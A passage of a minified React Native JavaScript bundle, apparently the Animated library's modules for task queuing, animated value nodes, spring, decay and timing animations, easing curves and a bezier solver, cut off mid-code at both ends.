s,E=new s,k=new d({onMoreTasks:a}),b=0,I=0,L=-1;t.exports=h},183);\n__d(function(e,t,s,u){\"use strict\";var n=t(106),a=t(13),r=!1,i=function(){function e(t){var s=t.onMoreTasks;babelHelpers.classCallCheck(this,e),this._onMoreTasks=s,this._queueStack=[{tasks:[],popable:!1}]}return babelHelpers.createClass(e,[{key:\"enqueue\",value:function(e){this._getCurrentQueue().push(e)}},{key:\"enqueueTasks\",value:function(e){var t=this;e.forEach(function(e){return t.enqueue(e)})}},{key:\"cancelTasks\",value:function(e){this._queueStack=this._queueStack.map(function(t){return babelHelpers.extends({},t,{tasks:t.tasks.filter(function(t){return e.indexOf(t)===-1})})}).filter(function(e,t){return e.tasks.length>0||0===t})}},{key:\"hasTasksToProcess\",value:function(){return this._getCurrentQueue().length>0}},{key:\"processNext\",value:function(){var e=this._getCurrentQueue();if(e.length){var t=e.shift();try{t.gen?(r&&n(\"genPromise for task \"+t.name),this._genPromise(t)):t.run?(r&&n(\"run task \"+t.name),t.run()):(a(\"function\"==typeof t,\"Expected Function, SimpleTask, or PromiseTask, but got:\\n\"+JSON.stringify(t,null,2)),r&&n(\"run anonymous task\"),t())}catch(e){throw e.message=\"TaskQueue: Error with task \"+(t.name||\"\")+\": \"+e.message,e}}}},{key:\"_getCurrentQueue\",value:function(){var e=this._queueStack.length-1,t=this._queueStack[e];return t.popable&&0===t.tasks.length&&this._queueStack.length>1?(this._queueStack.pop(),r&&n(\"popped queue: \",{stackIdx:e,queueStackSize:this._queueStack.length}),this._getCurrentQueue()):t.tasks}},{key:\"_genPromise\",value:function(e){var t=this;this._queueStack.push({tasks:[],popable:!1});var s=this._queueStack.length-1;r&&n(\"push new queue: \",{stackIdx:s}),r&&n(\"exec gen task \"+e.name),e.gen().then(function(){r&&n(\"onThen for gen task \"+e.name,{stackIdx:s,queueStackSize:t._queueStack.length}),t._queueStack[s].popable=!0,t.hasTasksToProcess()&&t._onMoreTasks()}).catch(function(t){throw t.message=\"TaskQueue: Error resolving Promise in task \"+e.name+\": \"+t.message,t}).done()}}]),e}();s.exports=i},184);\n__d(function(e,t,_,a){\"use strict\";var i=t(179),o=(t(180),t(178)),r=t(182),s=function(e){function t(e,_){babelHelpers.classCallCheck(this,t);var a=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return a._a=\"number\"==typeof e?new o(e):e,a._b=\"number\"==typeof _?new o(_):_,a}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"__makeNative\",value:function(){this._a.__makeNative(),this._b.__makeNative(),babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"__makeNative\",this).call(this)}},{key:\"__getValue\",value:function(){return this._a.__getValue()+this._b.__getValue()}},{key:\"interpolate\",value:function(e){return new i(this,e)}},{key:\"__attach\",value:function(){this._a.__addChild(this),this._b.__addChild(this)}},{key:\"__detach\",value:function(){this._a.__removeChild(this),this._b.__removeChild(this),babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"__detach\",this).call(this)}},{key:\"__getNativeConfig\",value:function(){return{type:\"addition\",input:[this._a.__getNativeTag(),this._b.__getNativeTag()]}}}]),t}(r);_.exports=s},185);\n__d(function(t,e,a,_){\"use strict\";var i=e(179),l=(e(180),e(182)),s=function(t){function e(t,a,_){babelHelpers.classCallCheck(this,e);var i=babelHelpers.possibleConstructorReturn(this,(e.__proto__||Object.getPrototypeOf(e)).call(this));return i._a=t,i._min=a,i._max=_,i._value=i._lastValue=i._a.__getValue(),i}return babelHelpers.inherits(e,t),babelHelpers.createClass(e,[{key:\"__makeNative\",value:function(){this._a.__makeNative(),babelHelpers.get(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),\"__makeNative\",this).call(this)}},{key:\"interpolate\",value:function(t){return new i(this,t)}},{key:\"__getValue\",value:function(){var t=this._a.__getValue(),e=t-this._lastValue;return this._lastValue=t,this._value=Math.min(Math.max(this._value+e,this._min),this._max),this._value}},{key:\"__attach\",value:function(){this._a.__addChild(this)}},{key:\"__detach\",value:function(){this._a.__removeChild(this),babelHelpers.get(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),\"__detach\",this).call(this)}},{key:\"__getNativeConfig\",value:function(){return{type:\"diffclamp\",input:this._a.__getNativeTag(),min:this._min,max:this._max}}}]),e}(l);a.exports=s},186);\n__d(function(e,t,i,_){\"use strict\";var a=t(179),o=(t(180),t(178)),r=t(182),s=function(e){function t(e,i){babelHelpers.classCallCheck(this,t);var _=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return _._a=\"number\"==typeof e?new o(e):e,_._b=\"number\"==typeof i?new o(i):i,_}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"__makeNative\",value:function(){this._a.__makeNative(),this._b.__makeNative(),babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"__makeNative\",this).call(this)}},{key:\"__getValue\",value:function(){var e=this._a.__getValue(),t=this._b.__getValue();return 0===t&&console.error(\"Detected division by zero in AnimatedDivision\"),e/t}},{key:\"interpolate\",value:function(e){return new a(this,e)}},{key:\"__attach\",value:function(){this._a.__addChild(this),this._b.__addChild(this)}},{key:\"__detach\",value:function(){this._a.__removeChild(this),this._b.__removeChild(this),babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"__detach\",this).call(this)}},{key:\"__getNativeConfig\",value:function(){return{type:\"division\",input:[this._a.__getNativeTag(),this._b.__getNativeTag()]}}}]),t}(r);i.exports=s},187);\n__d(function(t,e,_,a){\"use strict\";var o=e(179),s=(e(180),e(182)),i=function(t){function e(t,_){babelHelpers.classCallCheck(this,e);var a=babelHelpers.possibleConstructorReturn(this,(e.__proto__||Object.getPrototypeOf(e)).call(this));return a._a=t,a._modulus=_,a}return babelHelpers.inherits(e,t),babelHelpers.createClass(e,[{key:\"__makeNative\",value:function(){this._a.__makeNative(),babelHelpers.get(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),\"__makeNative\",this).call(this)}},{key:\"__getValue\",value:function(){return(this._a.__getValue()%this._modulus+this._modulus)%this._modulus}},{key:\"interpolate\",value:function(t){return new o(this,t)}},{key:\"__attach\",value:function(){this._a.__addChild(this)}},{key:\"__detach\",value:function(){this._a.__removeChild(this),babelHelpers.get(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),\"__detach\",this).call(this)}},{key:\"__getNativeConfig\",value:function(){return{type:\"modulus\",input:this._a.__getNativeTag(),modulus:this._modulus}}}]),e}(s);_.exports=i},188);\n__d(function(e,t,_,i){\"use strict\";var a=t(179),o=(t(180),t(178)),r=t(182),l=function(e){function t(e,_){babelHelpers.classCallCheck(this,t);var i=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return i._a=\"number\"==typeof e?new o(e):e,i._b=\"number\"==typeof _?new o(_):_,i}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"__makeNative\",value:function(){this._a.__makeNative(),this._b.__makeNative(),babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"__makeNative\",this).call(this)}},{key:\"__getValue\",value:function(){return this._a.__getValue()*this._b.__getValue()}},{key:\"interpolate\",value:function(e){return new a(this,e)}},{key:\"__attach\",value:function(){this._a.__addChild(this),this._b.__addChild(this)}},{key:\"__detach\",value:function(){this._a.__removeChild(this),this._b.__removeChild(this),babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"__detach\",this).call(this)}},{key:\"__getNativeConfig\",value:function(){return{type:\"multiplication\",input:[this._a.__getNativeTag(),this._b.__getNativeTag()]}}}]),t}(r);_.exports=l},189);\n__d(function(e,t,i,a){\"use strict\";var n=t(177),s=n.AnimatedEvent,_=t(180),o=t(191),r=t(181),c=t(44),l=t(13),v=function(e){function t(e,i){babelHelpers.classCallCheck(this,t);var a=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return e.style&&(e=babelHelpers.extends({},e,{style:new o(e.style)})),a._props=e,a._callback=i,a.__attach(),a}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"__getValue\",value:function(){var e={};for(var t in this._props){var i=this._props[t];i instanceof _?(!i.__isNative||i instanceof o)&&(e[t]=i.__getValue()):i instanceof s?e[t]=i.__getHandler():e[t]=i}return e}},{key:\"__getAnimatedValue\",value:function(){var e={};for(var t in this._props){var i=this._props[t];i instanceof _&&(e[t]=i.__getAnimatedValue())}return e}},{key:\"__attach\",value:function(){for(var e in this._props){var t=this._props[e];t instanceof _&&t.__addChild(this)}}},{key:\"__detach\",value:function(){this.__isNative&&this._animatedView&&this.__disconnectAnimatedView();for(var e in this._props){var i=this._props[e];i instanceof _&&i.__removeChild(this)}babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"__detach\",this).call(this)}},{key:\"update\",value:function(){this._callback()}},{key:\"__makeNative\",value:function(){if(!this.__isNative){this.__isNative=!0;for(var e in this._props){var t=this._props[e];t instanceof _&&t.__makeNative()}this._animatedView&&this.__connectAnimatedView()}}},{key:\"setNativeView\",value:function(e){this._animatedView!==e&&(this._animatedView=e,this.__isNative&&this.__connectAnimatedView())}},{key:\"__connectAnimatedView\",value:function(){l(this.__isNative,'Expected node to be marked as \"native\"');var e=c.findNodeHandle(this._animatedView);l(null!=e,\"Unable to locate attached view in the native tree\"),r.API.connectAnimatedNodeToView(this.__getNativeTag(),e)}},{key:\"__disconnectAnimatedView\",value:function(){l(this.__isNative,'Expected node to be marked as \"native\"');var e=c.findNodeHandle(this._animatedView);l(null!=e,\"Unable to locate attached view in the native tree\"),r.API.disconnectAnimatedNodeFromView(this.__getNativeTag(),e)}},{key:\"__getNativeConfig\",value:function(){var e={};for(var t in this._props){var i=this._props[t];i instanceof _&&(e[t]=i.__getNativeTag())}return{type:\"props\",props:e}}}]),t}(_);i.exports=v},190);\n__d(function(e,t,a,s){\"use strict\";var r=t(180),l=t(192),i=t(182),n=t(181),_=t(60),o=function(e){function t(e){babelHelpers.classCallCheck(this,t);var a=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return e=_(e)||{},e.transform&&(e=babelHelpers.extends({},e,{transform:new l(e.transform)})),a._style=e,a}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"_walkStyleAndGetValues\",value:function(e){var t={};for(var a in e){var s=e[a];s instanceof r?s.__isNative||(t[a]=s.__getValue()):s&&!Array.isArray(s)&&\"object\"==typeof s?t[a]=this._walkStyleAndGetValues(s):t[a]=s}return t}},{key:\"__getValue\",value:function(){return this._walkStyleAndGetValues(this._style)}},{key:\"_walkStyleAndGetAnimatedValues\",value:function(e){var t={};for(var a in e){var s=e[a];s instanceof r?t[a]=s.__getAnimatedValue():s&&!Array.isArray(s)&&\"object\"==typeof s&&(t[a]=this._walkStyleAndGetAnimatedValues(s))}return t}},{key:\"__getAnimatedValue\",value:function(){return this._walkStyleAndGetAnimatedValues(this._style)}},{key:\"__attach\",value:function(){for(var e in this._style){var t=this._style[e];t instanceof r&&t.__addChild(this)}}},{key:\"__detach\",value:function(){for(var e in this._style){var a=this._style[e];a instanceof r&&a.__removeChild(this)}babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"__detach\",this).call(this)}},{key:\"__makeNative\",value:function(){babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"__makeNative\",this).call(this);for(var e in this._style){var a=this._style[e];a instanceof r&&a.__makeNative()}}},{key:\"__getNativeConfig\",value:function(){var e={};for(var t in this._style)this._style[t]instanceof r&&(e[t]=this._style[t].__getNativeTag());return n.validateStyles(e),{type:\"style\",style:e}}}]),t}(i);a.exports=o},191);\n__d(function(t,e,r,a){\"use strict\";var n=e(180),o=e(182),i=e(181),s=function(t){function e(t){babelHelpers.classCallCheck(this,e);var r=babelHelpers.possibleConstructorReturn(this,(e.__proto__||Object.getPrototypeOf(e)).call(this));return r._transforms=t,r}return babelHelpers.inherits(e,t),babelHelpers.createClass(e,[{key:\"__makeNative\",value:function(){babelHelpers.get(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),\"__makeNative\",this).call(this),this._transforms.forEach(function(t){for(var e in t){var r=t[e];r instanceof n&&r.__makeNative()}})}},{key:\"__getValue\",value:function(){return this._transforms.map(function(t){var e={};for(var r in t){var a=t[r];a instanceof n?e[r]=a.__getValue():e[r]=a}return e})}},{key:\"__getAnimatedValue\",value:function(){return this._transforms.map(function(t){var e={};for(var r in t){var a=t[r];a instanceof n?e[r]=a.__getAnimatedValue():e[r]=a}return e})}},{key:\"__attach\",value:function(){var t=this;this._transforms.forEach(function(e){for(var r in e){var a=e[r];a instanceof n&&a.__addChild(t)}})}},{key:\"__detach\",value:function(){var t=this;this._transforms.forEach(function(e){for(var r in e){var a=e[r];a instanceof n&&a.__removeChild(t)}}),babelHelpers.get(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),\"__detach\",this).call(this)}},{key:\"__getNativeConfig\",value:function(){var t=[];return this._transforms.forEach(function(e){for(var r in e){var a=e[r];a instanceof n?t.push({type:\"animated\",property:r,nodeTag:a.__getNativeTag()}):t.push({type:\"static\",property:r,value:a})}}),i.validateTransform(t),{type:\"transform\",transforms:t}}}]),e}(o);r.exports=s},192);\n__d(function(t,e,a,i){\"use strict\";var _=(e(178),e(180)),l=function(t){function e(t,a,i,_,l){babelHelpers.classCallCheck(this,e);var n=babelHelpers.possibleConstructorReturn(this,(e.__proto__||Object.getPrototypeOf(e)).call(this));return n._value=t,n._parent=a,n._animationClass=i,n._animationConfig=_,n._callback=l,n.__attach(),n}return babelHelpers.inherits(e,t),babelHelpers.createClass(e,[{key:\"__getValue\",value:function(){return this._parent.__getValue()}},{key:\"__attach\",value:function(){this._parent.__addChild(this)}},{key:\"__detach\",value:function(){this._parent.__removeChild(this),babelHelpers.get(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),\"__detach\",this).call(this)}},{key:\"update\",value:function(){this._value.animate(new this._animationClass(babelHelpers.extends({},this._animationConfig,{toValue:this._animationConfig.toValue.__getValue()})),this._callback)}}]),e}(_);a.exports=l},193);\n__d(function(e,t,s,i){\"use strict\";var n=t(178),a=t(182),r=t(13),l=1,u=function(e){function t(e){babelHelpers.classCallCheck(this,t);var s=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this)),i=e||{x:0,y:0};return\"number\"==typeof i.x&&\"number\"==typeof i.y?(s.x=new n(i.x),s.y=new n(i.y)):(r(i.x instanceof n&&i.y instanceof n,\"AnimatedValueXY must be initalized with an object of numbers or AnimatedValues.\"),s.x=i.x,s.y=i.y),s._listeners={},s}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"setValue\",value:function(e){this.x.setValue(e.x),this.y.setValue(e.y)}},{key:\"setOffset\",value:function(e){this.x.setOffset(e.x),this.y.setOffset(e.y)}},{key:\"flattenOffset\",value:function(){this.x.flattenOffset(),this.y.flattenOffset()}},{key:\"extractOffset\",value:function(){this.x.extractOffset(),this.y.extractOffset()}},{key:\"__getValue\",value:function(){return{x:this.x.__getValue(),y:this.y.__getValue()}}},{key:\"resetAnimation\",value:function(e){this.x.resetAnimation(),this.y.resetAnimation(),e&&e(this.__getValue())}},{key:\"stopAnimation\",value:function(e){this.x.stopAnimation(),this.y.stopAnimation(),e&&e(this.__getValue())}},{key:\"addListener\",value:function(e){var t=this,s=String(l++),i=function(s){s.value;e(t.__getValue())};return this._listeners[s]={x:this.x.addListener(i),y:this.y.addListener(i)},s}},{key:\"removeListener\",value:function(e){this.x.removeListener(this._listeners[e].x),this.y.removeListener(this._listeners[e].y),delete this._listeners[e]}},{key:\"removeAllListeners\",value:function(){this.x.removeAllListeners(),this.y.removeAllListeners(),this._listeners={}}},{key:\"getLayout\",value:function(){return{left:this.x,top:this.y}}},{key:\"getTranslateTransform\",value:function(){return[{translateX:this.x},{translateY:this.y}]}}]),t}(a);s.exports=u},194);\n__d(function(t,e,i,a){\"use strict\";var s=e(196),n=e(181),o=n.shouldUseNativeDriver,r=function(e){function i(t){babelHelpers.classCallCheck(this,i);var e=babelHelpers.possibleConstructorReturn(this,(i.__proto__||Object.getPrototypeOf(i)).call(this));return e._deceleration=void 0!==t.deceleration?t.deceleration:.998,e._velocity=t.velocity,e._useNativeDriver=o(t),e.__isInteraction=void 0===t.isInteraction||t.isInteraction,e.__iterations=void 0!==t.iterations?t.iterations:1,e}return babelHelpers.inherits(i,e),babelHelpers.createClass(i,[{key:\"__getNativeAnimationConfig\",value:function(){return{type:\"decay\",deceleration:this._deceleration,velocity:this._velocity,iterations:this.__iterations}}},{key:\"start\",value:function(t,e,i,a,s){this.__active=!0,this._lastValue=t,this._fromValue=t,this._onUpdate=e,this.__onEnd=i,this._startTime=Date.now(),this._useNativeDriver?this.__startNativeAnimation(s):this._animationFrame=requestAnimationFrame(this.onUpdate.bind(this))}},{key:\"onUpdate\",value:function(){var t=Date.now(),e=this._fromValue+this._velocity/(1-this._deceleration)*(1-Math.exp(-(1-this._deceleration)*(t-this._startTime)));return this._onUpdate(e),Math.abs(this._lastValue-e)<.1?void this.__debouncedOnEnd({finished:!0}):(this._lastValue=e,void(this.__active&&(this._animationFrame=requestAnimationFrame(this.onUpdate.bind(this)))))}},{key:\"stop\",value:function(){babelHelpers.get(i.prototype.__proto__||Object.getPrototypeOf(i.prototype),\"stop\",this).call(this),this.__active=!1,t.cancelAnimationFrame(this._animationFrame),this.__debouncedOnEnd({finished:!1})}}]),i}(s);i.exports=r},195);\n__d(function(t,n,e,i){\"use strict\";var a=n(181),o=function(){function t(){babelHelpers.classCallCheck(this,t)}return babelHelpers.createClass(t,[{key:\"start\",value:function(t,n,e,i,a){}},{key:\"stop\",value:function(){this.__nativeId&&a.API.stopAnimation(this.__nativeId)}},{key:\"__getNativeAnimationConfig\",value:function(){throw new Error(\"This animation type cannot be offloaded to native\")}},{key:\"__debouncedOnEnd\",value:function(t){var n=this.__onEnd;this.__onEnd=null,n&&n(t)}},{key:\"__startNativeAnimation\",value:function(t){t.__makeNative(),this.__nativeId=a.generateNewAnimationId(),a.API.startAnimatingNode(this.__nativeId,t.__getNativeTag(),this.__getNativeAnimationConfig(),this.__debouncedOnEnd.bind(this))}}]),t}();e.exports=o},196);\n__d(function(t,i,e,s){\"use strict\";function o(t,i){return void 0===t||null===t?i:t}var n=(i(178),i(194),i(196)),a=i(198),l=i(13),r=i(181),h=r.shouldUseNativeDriver,_=function(i){function e(t){babelHelpers.classCallCheck(this,e);var i=babelHelpers.possibleConstructorReturn(this,(e.__proto__||Object.getPrototypeOf(e)).call(this));i._overshootClamping=o(t.overshootClamping,!1),i._restDisplacementThreshold=o(t.restDisplacementThreshold,.001),i._restSpeedThreshold=o(t.restSpeedThreshold,.001),i._initialVelocity=t.velocity,i._lastVelocity=o(t.velocity,0),i._toValue=t.toValue,i._delay=o(t.delay,0),i._useNativeDriver=h(t),i.__isInteraction=void 0===t.isInteraction||t.isInteraction,i.__iterations=void 0!==t.iterations?t.iterations:1;var s=void 0;return void 0!==t.bounciness||void 0!==t.speed?(l(void 0===t.tension&&void 0===t.friction,\"You can only define bounciness/speed or tension/friction but not both\"),s=a.fromBouncinessAndSpeed(o(t.bounciness,8),o(t.speed,12))):s=a.fromOrigamiTensionAndFriction(o(t.tension,40),o(t.friction,7)),i._tension=s.tension,i._friction=s.friction,i}return babelHelpers.inherits(e,i),babelHelpers.createClass(e,[{key:\"__getNativeAnimationConfig\",value:function(){return{type:\"spring\",overshootClamping:this._overshootClamping,restDisplacementThreshold:this._restDisplacementThreshold,restSpeedThreshold:this._restSpeedThreshold,tension:this._tension,friction:this._friction,stiffness:this._tension,damping:this._friction,mass:1,initialVelocity:o(this._initialVelocity,this._lastVelocity),toValue:this._toValue,iterations:this.__iterations}}},{key:\"start\",value:function t(i,s,o,n,a){var l=this;if(this.__active=!0,this._startPosition=i,this._lastPosition=this._startPosition,this._onUpdate=s,this.__onEnd=o,this._lastTime=Date.now(),n instanceof e){var r=n.getInternalState();this._lastPosition=r.lastPosition,this._lastVelocity=r.lastVelocity,this._lastTime=r.lastTime}void 0!==this._initialVelocity&&null!==this._initialVelocity&&(this._lastVelocity=this._initialVelocity);var t=function(){l._useNativeDriver?l.__startNativeAnimation(a):l.onUpdate()};this._delay?this._timeout=setTimeout(t,this._delay):t()}},{key:\"getInternalState\",value:function(){return{lastPosition:this._lastPosition,lastVelocity:this._lastVelocity,lastTime:this._lastTime}}},{key:\"onUpdate\",value:function(){var t=this._lastPosition,i=this._lastVelocity,e=this._lastPosition,s=this._lastVelocity,o=64,n=Date.now();n>this._lastTime+o&&(n=this._lastTime+o);for(var a=1,l=Math.floor((n-this._lastTime)/a),r=0;r<l;++r){var h=a/1e3,_=i,c=this._tension*(this._toValue-e)-this._friction*s;e=t+_*h/2,s=i+c*h/2;var d=s,u=this._tension*(this._toValue-e)-this._friction*s;e=t+d*h/2,s=i+u*h/2;var v=s,p=this._tension*(this._toValue-e)-this._friction*s;e=t+v*h/2,s=i+p*h/2;var m=s,f=this._tension*(this._toValue-e)-this._friction*s;e=t+v*h/2,s=i+p*h/2;var y=(_+2*(d+v)+m)/6,V=(c+2*(u+p)+f)/6;t+=y*h,i+=V*h}if(this._lastTime=n,this._lastPosition=t,this._lastVelocity=i,this._onUpdate(t),this.__active){var b=!1;this._overshootClamping&&0!==this._tension&&(b=this._startPosition<this._toValue?t>this._toValue:t<this._toValue);var T=Math.abs(i)<=this._restSpeedThreshold,g=!0;return 0!==this._tension&&(g=Math.abs(this._toValue-t)<=this._restDisplacementThreshold),b||T&&g?(0!==this._tension&&this._onUpdate(this._toValue),void this.__debouncedOnEnd({finished:!0})):void(this._animationFrame=requestAnimationFrame(this.onUpdate.bind(this)))}}},{key:\"stop\",value:function(){babelHelpers.get(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),\"stop\",this).call(this),this.__active=!1,clearTimeout(this._timeout),t.cancelAnimationFrame(this._animationFrame),this.__debouncedOnEnd({finished:!1})}}]),e}(n);e.exports=_},197);\n__d(function(n,t,r,o){\"use strict\";function u(n){return 3.62*(n-30)+194}function i(n){return 3*(n-8)+25}function e(n,t){return{tension:u(n),friction:i(t)}}function c(n,t){function r(n,t,r){return(n-t)/(r-t)}function o(n,t,r){return t+n*(r-t)}function e(n,t,r){return n*r+(1-n)*t}function c(n,t,r){return e(2*n-n*n,t,r)}function f(n){return 7e-4*Math.pow(n,3)-.031*Math.pow(n,2)+.64*n+1.28}function a(n){return 44e-6*Math.pow(n,3)-.006*Math.pow(n,2)+.36*n+2}function p(n){return 4.5e-7*Math.pow(n,3)-332e-6*Math.pow(n,2)+.1078*n+5.84}function s(n){return n<=18?f(n):n>18&&n<=44?a(n):p(n)}var h=r(n/1.7,0,20);h=o(h,0,.8);var w=r(t/1.7,0,20),M=o(w,.5,200),d=c(h,s(M),.01);return{tension:u(M),friction:i(d)}}r.exports={fromOrigamiTensionAndFriction:e,fromBouncinessAndSpeed:c}},198);\n__d(function(t,i,e,a){\"use strict\";function s(){if(!_){var t=i(200);_=t.inOut(t.ease)}return _}var n=(i(178),i(194),i(196)),o=i(181),r=o.shouldUseNativeDriver,_=void 0,u=function(i){function e(t){babelHelpers.classCallCheck(this,e);var i=babelHelpers.possibleConstructorReturn(this,(e.__proto__||Object.getPrototypeOf(e)).call(this));return i._toValue=t.toValue,i._easing=void 0!==t.easing?t.easing:s(),i._duration=void 0!==t.duration?t.duration:500,i._delay=void 0!==t.delay?t.delay:0,i.__iterations=void 0!==t.iterations?t.iterations:1,i.__isInteraction=void 0===t.isInteraction||t.isInteraction,i._useNativeDriver=r(t),i}return babelHelpers.inherits(e,i),babelHelpers.createClass(e,[{key:\"__getNativeAnimationConfig\",value:function(){for(var t=16.666666666666668,i=[],e=0;e<this._duration;e+=t)i.push(this._easing(e/this._duration));return i.push(this._easing(1)),{type:\"frames\",frames:i,toValue:this._toValue,iterations:this.__iterations}}},{key:\"start\",value:function t(i,e,a,s,n){var o=this;this.__active=!0,this._fromValue=i,this._onUpdate=e,this.__onEnd=a;var t=function(){0!==o._duration||o._useNativeDriver?(o._startTime=Date.now(),o._useNativeDriver?o.__startNativeAnimation(n):o._animationFrame=requestAnimationFrame(o.onUpdate.bind(o))):(o._onUpdate(o._toValue),o.__debouncedOnEnd({finished:!0}))};this._delay?this._timeout=setTimeout(t,this._delay):t()}},{key:\"onUpdate\",value:function(){var t=Date.now();return t>=this._startTime+this._duration?(0===this._duration?this._onUpdate(this._toValue):this._onUpdate(this._fromValue+this._easing(1)*(this._toValue-this._fromValue)),void this.__debouncedOnEnd({finished:!0})):(this._onUpdate(this._fromValue+this._easing((t-this._startTime)/this._duration)*(this._toValue-this._fromValue)),void(this.__active&&(this._animationFrame=requestAnimationFrame(this.onUpdate.bind(this)))))}},{key:\"stop\",value:function(){babelHelpers.get(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),\"stop\",this).call(this),this.__active=!1,clearTimeout(this._timeout),t.cancelAnimationFrame(this._animationFrame),this.__debouncedOnEnd({finished:!1})}}]),e}(n);e.exports=u},199);\n__d(function(e,n,u,t){\"use strict\";var r=void 0,a=function(){function e(){babelHelpers.classCallCheck(this,e)}return babelHelpers.createClass(e,null,[{key:\"step0\",value:function(e){return e>0?1:0}},{key:\"step1\",value:function(e){return e>=1?1:0}},{key:\"linear\",value:function(e){return e}},{key:\"ease\",value:function(n){return r||(r=e.bezier(.42,0,1,1)),r(n)}},{key:\"quad\",value:function(e){return e*e}},{key:\"cubic\",value:function(e){return e*e*e}},{key:\"poly\",value:function(e){return function(n){return Math.pow(n,e)}}},{key:\"sin\",value:function(e){return 1-Math.cos(e*Math.PI/2)}},{key:\"circle\",value:function(e){return 1-Math.sqrt(1-e*e)}},{key:\"exp\",value:function(e){return Math.pow(2,10*(e-1))}},{key:\"elastic\",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:1,n=e*Math.PI;return function(e){return 1-Math.pow(Math.cos(e*Math.PI/2),3)*Math.cos(e*n)}}},{key:\"back\",value:function(e){return void 0===e&&(e=1.70158),function(n){return n*n*((e+1)*n-e)}}},{key:\"bounce\",value:function(e){return e<.36363636363636365?7.5625*e*e:e<.7272727272727273?(e-=.5454545454545454,7.5625*e*e+.75):e<.9090909090909091?(e-=.8181818181818182,7.5625*e*e+.9375):(e-=.9545454545454546,7.5625*e*e+.984375)}},{key:\"bezier\",value:function(e,u,t,r){var a=n(201);return a(e,u,t,r)}},{key:\"in\",value:function(e){return e}},{key:\"out\",value:function(e){return function(n){return 1-e(1-n)}}},{key:\"inOut\",value:function(e){return function(n){return n<.5?e(2*n)/2:1-e(2*(1-n))/2}}}]),e}();u.exports=a},200);\n__d(function(r,n,t,u){\"use strict\";function e(r,n){return 1-3*n+3*r}function o(r,n){return 3*n-6*r}function f(r){return 3*r}function i(r,n,t){return((e(n,t)*r+o(n,t))*r+f(n))*r}function a(r,n,t){return 3*e(n,t)*r*r+2*o(n,t)*r+f(n)}function c(r,n,t,u,e){var o,f,a=0;do f=n+(t-n)/2,o=i(f,u,e)-r,o>0?t=f:n=f;while(Math.abs(o)>l&&++a<y);return f}function v(r,n,t,u){for(var e=0;e<s;++e){var o=a(n,t,u);if(0===o)return n;var f=i(n,t,u)-r;n-=f/o}return n}var s=4,w=.001,l=1e-7,y=10,b=11,h=1/(b-1),A=\"function\"==typeof Float32Array;t.exports=function(r,n,t,u){function e(n){for(var u=0,e=1,f=b-1;e!==f&&o[e]<=n;++e)u+=h;--e;var i=(n-o[e])/(o[e+1]-o[e]),s=u+i*h,l=a(s,r,t);return l>=w?v(n,s,r,t):0===l?s:c(n,u,u+h,r,t)}if(!(0<=r&&r<=1&&0<=t&&t<=1))throw new Error(\"bezier x values must be in [0, 1] range\");var o=A?new Float32Array(b):new Array(b);if(r!==n||t!==u)for(var f=0;f<b;++f)o[f]=i(f*h,r,t);return function(o){return r===n&&t===u?o:0===o?0:1===o?1:i(e(o),n,u)}}},201);\n__d(function(e,t,n,o){\"use strict\";function i(e){var t=function(t){function n(e){babelHelpers.classCallCheck(this,n);var t=babelHelpers.possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e));return t._eventDetachers=[],t._setComponentRef=t._setComponentRef.bind(t),t}return babelHelpers.inherits(n,t),babelHelpers.createClass(n,[{key:\"componentWillUnmount\",value:function(){this._propsAnimated&&this._propsAnimated.__detach(),this._detachNativeEvents()}},{key:\"setNativeProps\",value:function(e){this._component.setNativeProps(e)}},{key:\"componentWillMount\",value:function(){this._attachProps(this.props)}},{key:\"componentDidMount\",value:function(){this._propsAnimated.setNativeView(this._component),this._attachNativeEvents()}},{key:\"_attachNativeEvents\",value:function(){var e=this,t=this._component.getScrollableNode?this._component.getScrollableNode():this._component,n=function(n){var o=e.props[n];o instanceof a&&o.__isNative&&(o.__attach(t,n),e._eventDetachers.push(function(){return o.__detach(t,n)}))};for(var o in this.props)n(o)}},{key:\"_detachNativeEvents\",value:function(){this._eventDetachers.forEach(function(e){return e()}),this._eventDetachers=[]}},{key:\"_attachProps\",value:function(e){var t=this,o=this._propsAnimated,i=function(){if(!n.__skipSetNativeProps_FOR_TESTS_ONLY&&t._component.setNativeProps){if(t._propsAnimated.__isNative)throw new Error('Attempting to run JS driven animation on animated node that has been moved to \"native\" earlier by starting an animation with `useNativeDriver: true`');t._component.setNativeProps(t._propsAnimated.__getAnimatedValue())}else t.forceUpdate()};this._propsAnimated=new 